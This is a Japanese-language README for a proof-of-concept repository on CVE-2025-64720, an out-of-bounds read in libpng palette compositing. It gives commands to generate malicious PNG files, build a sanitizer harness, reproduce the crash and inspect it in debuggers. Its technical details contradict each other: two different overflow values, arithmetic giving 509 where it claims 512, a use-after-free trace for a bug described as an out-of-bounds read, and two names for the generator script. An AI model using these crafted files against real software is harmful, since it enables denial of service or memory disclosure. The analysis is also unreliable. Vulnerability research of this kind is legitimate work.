ステータス: パッチ適用済み
深刻度: 高
CVE ID: CVE-2025-64720
発見日: 2025-11-XX
公開日: 2025-11-21
libpng の png_image_read_composite 関数に、PNG_FLAG_OPTIMIZE_ALPHA が有効なパレット画像を処理する際に、範囲外読み取りの脆弱性が存在します。png_init_read_transformations 内のパレット合成コードは、事前乗算中に背景合成を誤って適用し、簡易 PNG API が必要とする不変条件 component ≤ alpha × 257 に違反するため、メモリ破損を引き起こします。
png_init_read_transformations の ~1336 行目で、パレット展開コードは以下を実行します:
component += (255-alpha)*png_sRGB_table[outrow[c]];
この計算により component の値は最大 16,776,960 (0x1000800) になり、(component >> 15) == 512 となります。png_image_read_composite 内の後続の PNG_sRGB_FROM_LINEAR マクロが範囲外の配列アクセスを実行します:
png_sRGB_base[component>>15] // Accesses png_sRGB_base[512]
png_sRGB_delta[component>>15] // Accesses png_sRGB_delta[512]
// Both arrays have indices 0-511 only (size 512)
この問題は以下の場合に発生します:
PNG_FLAG_OPTIMIZE_ALPHA が内部的に有効になっているpngread.c、pngtrans.cpng_image_read_composite、png_init_read_transformationsExpected: component ≤ alpha × 257
Ensures (component >> 15) ≤ 511 (within array bounds)
Actual: component = previous_value + (255-alpha) × png_sRGB_table[RGB_value]
With alpha=0, RGB=255: component can exceed expected bounds
Result: (component >> 15) can equal 512 (out of bounds access)
# Method 1: pkg-config
pkg-config --modversion libpng
# Method 2: Direct library query
libpng-config --version
# Method 3: Check binary
strings /usr/lib/libpng*.so* | grep -i "libpng version"
# Method 4: From source
grep PNG_LIBPNG_VER_STRING png.h
攻撃者は、特定の特性を持つ悪意のある PNG ファイルを作成することで、この脆弱性を悪用できます:
攻撃の前提条件:
png_image_* 関数) を使用している攻撃手順:
PNG_FLAG_OPTIMIZE_ALPHA が内部的に有効になる攻撃の結果:
png_sRGB_base または png_sRGB_delta からの範囲外読み取り┌─────────────────┐
│ png_sRGB_base │ Array indices: 0-511 (512 entries)
│ [512 entries] │ Valid access: (component >> 15) ≤ 511
├─────────────────┤
│ [OOB Access] │ Index 512 ← Vulnerable access when component ≥ 0x1000000
├─────────────────┤
│ png_sRGB_delta │ Array indices: 0-511 (512 entries)
│ [512 entries] │ Also vulnerable to same OOB access
├─────────────────┤
│ Adjacent Memory │ Potential information disclosure
└─────────────────┘
Calculation that causes overflow:
component = alpha × component + (255-alpha) × png_sRGB_table[palette_RGB]
When alpha=0 and palette_RGB=255:
component = 0 + 255 × 65535 = 16,711,425
(component >> 15) = 512 (OUT OF BOUNDS!)
必須条件:
png_image_finish_read)PNG_FORMAT_ARGB、PNG_FORMAT_RGBA)任意の要因:
PNG_FORMAT_FLAG_AFIRST 付きフォーマットはクラッシュの可能性を高めるトリガーしない条件:
PNG_FORMAT_RGBA (安全な場合がある)# Clone repository
git clone https://github.com/truediogo/CVE-2025-64720
cd CVE-2025-64720
# Generate images
python3 generate-images.py
# Build test
chmod +x build.sh
./build.sh
# Run exploit (requires vulnerable libpng < 1.6.51)
./test_asan exploit_v1.png exploit_v2.png exploit_v3.png exploit_v4.png
generate-images.py)脆弱性をトリガーする悪意のある PNG ファイルを生成します。
使用方法:
python3 generate_poc.py
出力:
exploit_v1.png - 8x8 画像、均一な白パレット、アルファ値ゼロexploit_v2.png - 8x8 画像、戦略的なパレット変更exploit_v3.png - 64x64 画像、反復パターンを含む大型画像exploit_v4.png - 4x4 画像、全アルファ値ゼロの最小ケースオプション:
# Generate specific variant
generate_malicious_png('custom.png', variant=2)
# Variants:
# 1: Maximum RGB values with zero alpha (reliable)
# 2: Strategic palette designed for maximum overflow
# 3: Larger image with repeated triggering patterns
# 4: Minimal case targeting global-buffer-overflow
test.c)簡易 API を使用して PNG ファイルを処理し、脆弱性を実証します。
コンパイル:
# With AddressSanitizer (recommended - best detection)
gcc -o test_asan test.c -lpng -fsanitize=address -g -O0 -fno-omit-frame-pointer
# With UndefinedBehaviorSanitizer
gcc -o test_ubsan test.c -lpng -fsanitize=undefined -g -O0
# With debugging symbols
gcc -o test_debug test.c -lpng -g -O0
# For Valgrind
gcc -o test_valgrind test.c -lpng -g -O0 -fno-inline
機能:
脆弱なバージョン (libpng 1.6.36) の場合:
libpng version: 1.6.36
PNG_LIBPNG_VER: 10636
[!] libpng < 1.6.51 detected (vulnerable version)
=== Testing: exploit_v1.png ===
File: exploit_v1.png
Original format: 0xb
Image: 8x8
Trying format: PNG_FORMAT_RGBA (0x3)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00
Trying format: PNG_FORMAT_ARGB (0x23)
Buffer size: 256 bytes
Calling png_image_finish_read...
=================================================================
==12345==ERROR: AddressSanitizer: heap-use-after-free on address 0x604000000520
READ of size 8 at 0x604000000520 thread T0
#0 0x000102b4da24 in png_safe_execute pngerror.c:944
#1 0x000102b5d7c8 in png_image_finish_read pngread.c:4184
#2 0x000102b34ecc in test_png test.c:64
#3 0x000102b35410 in main test.c:97
0x604000000520 is located 16 bytes inside of 48-byte region [0x604000000510,0x604000000540)
freed by thread T0 here:
#0 0x000103245480 in free+0x7c
#1 0x000102b566b4 in png_free_default pngmem.c:252
[Stack trace continues...]
SUMMARY: AddressSanitizer: heap-use-after-free pngerror.c:944 in png_safe_execute
==12345==ABORTING
パッチ適用済みバージョン (libpng >= 1.6.51) の場合:
libpng version: 1.6.51
PNG_LIBPNG_VER: 10651
[!] Warning: libpng >= 1.6.51 detected (vulnerability is patched)
=== Testing: exploit_v1.png ===
File: exploit_v1.png
Original format: 0xb
Image: 8x8
Trying format: PNG_FORMAT_RGBA (0x3)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00
Trying format: PNG_FORMAT_ARGB (0x23)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00
=== All tests completed ===
python3 generate_poc.py
期待される出力:
======================================================================
libpng Out-of-Bounds Read PoC Generator
Vulnerability: palette + transparency + PNG_FLAG_OPTIMIZE_ALPHA
======================================================================
[+] Generated variant 1: exploit_v1.png
Size: 434 bytes, Dimensions: 8x8
[+] Generated variant 2: exploit_v2.png
Size: 434 bytes, Dimensions: 8x8
[+] Generated variant 3: exploit_v3.png
Size: 2258 bytes, Dimensions: 64x64
[+] Generated variant 4: exploit_v4.png
Size: 356 bytes, Dimensions: 4x4
[+] Enhanced test program: test.c
[+] Build script: build.sh
chmod +x build.sh
./build.sh
期待される出力:
[*] Building test...
[*] Building with AddressSanitizer...
[*] Building with UBSan...
[*] Building debug version...
[*] Building for Valgrind...
[+] Build complete. Executables:
-rwxr-xr-x 1 user staff 95KB test_asan
-rwxr-xr-x 1 user staff 87KB test_ubsan
-rwxr-xr-x 1 user staff 72KB test_debug
-rwxr-xr-x 1 user staff 72KB test_valgrind
./test_asan exploit_v1.png
期待される結果 (脆弱な場合 - libpng 1.6.36):
libpng version: 1.6.36
PNG_LIBPNG_VER: 10636
[!] libpng < 1.6.51 detected (vulnerable version)
=== Testing: exploit_v1.png ===
File: exploit_v1.png
Original format: 0xb
Image: 8x8
Trying format: PNG_FORMAT_RGBA (0x3)
Buffer size: 256 bytes
Calling png_image_finish_read...
Success - read completed
First pixel RGBA: ff ff ff 00
Trying format: PNG_FORMAT_ARGB (0x23)
Buffer size: 256 bytes
Calling png_image_finish_read...
=================================================================
==6751==ERROR: AddressSanitizer: heap-use-after-free on address 0x604000000520
READ of size 8 at 0x604000000520 thread T0
#0 png_safe_execute pngerror.c:944
#1 png_image_finish_read pngread.c:4184
#2 test_png test.c:64
#3 main test.c:97
SUMMARY: AddressSanitizer: heap-use-after-free pngerror.c:944
==6751==ABORTING
期待される結果 (パッチ適用済み - libpng >= 1.6.51):
libpng version: 1.6.51
PNG_LIBPNG_VER: 10651
[!] Warning: libpng >= 1.6.51 detected (vulnerability is patched)
=== Testing: exploit_v1.png ===
[All tests complete successfully without crashes]
gcc -o test test.c -lpng -g -O0 -fno-inline
valgrind --leak-check=full --track-origins=yes --show-leak-kinds=all \
./test exploit_v1.png
期待される出力 (脆弱な場合):
==12345== Invalid read of size 8
==12345== at 0x...: png_safe_execute (pngerror.c:944)
==12345== by 0x...: png_image_finish_read (pngread.c:4184)
==12345== Address 0x... is 16 bytes inside a block of size 48 free'd
gdb ./test_debug
(gdb) set args exploit_v1.png
(gdb) run
# Program will crash
(gdb) bt
# Shows backtrace with png_safe_execute at top
(gdb) info registers
(gdb) x/32wx $rsp
# Examine memory state at crash
lldb ./test_debug
(lldb) settings set target.run-args exploit_v1.png
(lldb) run
# Program will crash
(lldb) bt
# Shows backtrace
(lldb) register read
(lldb) memory read -c 32 -- $sp
⚠️ 重要: この PoC は教育および研究目的でのみ提供されています。
このコードの利用目的:
このコードの利用が想定されない目的:
このコードを使用することで、以下に同意したものとみなされます: